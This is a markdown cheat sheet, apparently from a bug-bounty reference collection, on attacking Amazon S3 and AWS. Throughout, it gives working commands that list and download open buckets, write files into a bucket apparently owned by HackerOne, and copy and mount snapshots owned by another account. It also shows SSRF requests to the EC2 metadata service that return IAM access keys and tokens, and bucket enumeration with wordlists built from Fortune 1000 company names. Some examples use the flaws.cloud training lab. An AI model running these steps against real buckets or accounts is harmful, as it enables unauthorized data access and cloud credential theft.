# Amazon Bucket S3 AWS Prerequisites, at least you need awscli ``` sudo apt install awscli ``` You can get your credential here https://console.aws.amazon.com/iam/home?#/security_credential but you need an aws account, free tier account : https://aws.amazon.com/s/dm/optimization/server-side-test/free-tier/free_np/ ``` aws configure AWSAccessKeyId=[ENTER HERE YOUR KEY] AWSSecretKey=[ENTER HERE YOUR KEY] ``` ``` aws configure --profile nameofprofile ``` then you can use *--profile nameofprofile* in the aws command By default the name of Amazon Bucket are like http://s3.amazonaws.com/[bucket_name]/, you can browse open buckets if you know their names ``` http://s3.amazonaws.com/[bucket_name]/ http://[bucket_name].s3.amazonaws.com/ http://flaws.cloud.s3.amazonaws.com/ ``` ## Basic test - Listing the files ```bash aws s3 ls s3://targetbucket --no-sign-request --region insert-region-here aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2 ``` You can get the region with a dig and nslookup ```bash $ dig flaws.cloud ;; ANSWER SECTION: flaws.cloud. 5 IN A 52.218.192.11 $ nslookup 52.218.192.11 Non-authoritative answer: 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. ``` ## Move a file into the bucket ``` aws s3 mv test.txt s3://hackerone.marketing FAIL : "move failed: ./test.txt to s3://hackerone.marketing/test.txt A client error (AccessDenied) occurred when calling the PutObject operation: Access Denied." aws s3 mv test.txt s3://hackerone.files SUCCESS : "move: ./test.txt to s3://hackerone.files/test.txt" ``` ## Download every things (in an open bucket) ``` aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . --no-sign-request --region us-west-2 ``` ## Check bucket disk size (authenticated) use, --no-sign for un-authenticated ``` aws s3 ls s3://<bucketname> --recursive | grep -v -E "(Bucket: |Prefix: |LastWriteTime|^$|--)" | awk 'BEGIN {total=0}{total+=$3}END{print total/1024/1024" MB"}' ``` ## AWS - Extract Backup ``` aws --profile flaws sts get-caller-identity "Account": "XXXX26262029", aws --profile flaws ec2 describe-snapshots --owner-id XXXX26262029 --region us-west-2 "SnapshotId": "snap-XXXX342abd1bdcb89", Create a volume using snapshot aws --profile swk ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-XXXX342abd1bdcb89 In Aws Console -> EC2 -> New Ubuntu chmod 400 YOUR_KEY.pem ssh -i YOUR_KEY.pem ubuntu@ec2-XXX-XXX-XXX-XXX.us-east-2.compute.amazonaws.com Mount the volume lsblk sudo file -s /dev/xvda1 sudo mount /dev/xvda1 /mnt ``` ## Bucket informations Amazon exposes an internal service every EC2 instance can query for instance metadata about the host. If you found an SSRF vulnerability that runs on EC2, try requesting : ``` http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/user-data/ http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE will return the AccessKeyID, SecretAccessKey, and Token ``` For example with a proxy : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/ ## Bucket Finder A cool tool that will search for readable buckets and list all the files in them. It can also be used to quickly find buckets that exist but deny access to listing files. ``` wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2 ./bucket_finder.rb my_words ./bucket_finder.rb --region ie my_words US Standard = http://s3.amazonaws.com Ireland = http://s3-eu-west-1.amazonaws.com Northern California = http://s3-us-west-1.amazonaws.com Singapore = http://s3-ap-southeast-1.amazonaws.com Tokyo = http://s3-ap-northeast-1.amazonaws.com ./bucket_finder.rb --download --region ie my_words ./bucket_finder.rb --log-file bucket.out my_words ``` Use a custom wordlist for the bucket finder, can be created with ``` List of Fortune1000 company names with permutations on .com, -backup, -media. For example, walmart becomes walmart, walmart.com, walmart-backup, walmart-media. List of the top Alexa 100,000 sites with permutations on the TLD and www. For example, walmart.com becomes www.walmart.com, www.walmart.net, walmart.com, and walmart. ``` ## Thanks to * https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets * https://digi.ninja/projects/bucket_finder.php * [Bug Bounty Survey - AWS Basic test](https://twitter.com/bugbsurveys/status/859389553211297792) * [FlAWS.cloud Challenge based on AWS vulnerabilities](http://flaws.cloud/)